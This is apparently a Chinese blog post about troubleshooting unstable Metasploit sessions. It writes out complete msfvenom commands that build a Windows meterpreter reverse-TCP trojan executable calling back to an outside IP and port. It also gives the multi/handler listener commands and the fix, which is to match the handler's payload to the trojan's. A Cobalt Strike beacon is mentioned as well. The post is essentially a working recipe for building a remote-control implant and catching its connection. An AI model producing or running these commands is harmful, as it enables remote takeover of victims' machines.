Metasploit会话连接不稳定问题排查
使用msfvenom生成木马,语句如下:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=43.154.xxx.xxx lport=4455 -f exe -o ero.exe
然后启动msfconsole,使用multi/handler监听会话回连
use exploit/multi/handler
set lhost 43.154.xxx.xxx
set lport 4455
exploit -j
给我开了一堆连不上的假session(˘•灬•˘),刚开始还以为是网络原因,但是理论上我已经生成了完整的meterpreter会话,也不需要传递什么东西了。
为了验证是不是网络原因,所以用了CobalStrike生成了beacon再次放到了服务器上,beacon会话连接完全没问题
然后开始找问题,看到知乎上一个老哥说的是,你得把AutoLoadStdapi这个选项关了,嗯...试一试,先看看这个选项是干嘛的
msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options
看起来像是加载了一个扩展库,有可能是这个影响了网络连接,所以生成木马的时候把该选择项关闭
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=43.154.xxx.xxx lport=4455 autoloadstdapi=false -f exe -o erosion.exe
重复之前的步骤,监听会话,但是发现session还是原来的问题。然后我一想,不对啊,我好像从来没设置过exploit/multi/handler下的payload,因为我知道它默认使用的payload是通用的tcp连接payload,看一下看一下:
use exploit/multi/handler
show options
果然,用的是一个generic的,把这个payload改一下,改成木马对应的payload,然后重新设置一下参数(。•ˇ‸ˇ•。)
set payload windows/x64/meterpreter_reverse_tcp
show options
set lhost 43.154.xxx.xxx
set lport 4455
exploit -j
会话被正常连接没有任何问题,meterpreter会话正常建立,shell也是正常的
原来通用payload有的时候是不好用的啊......以后一定记得改handler默认payload (〃>_<;〃)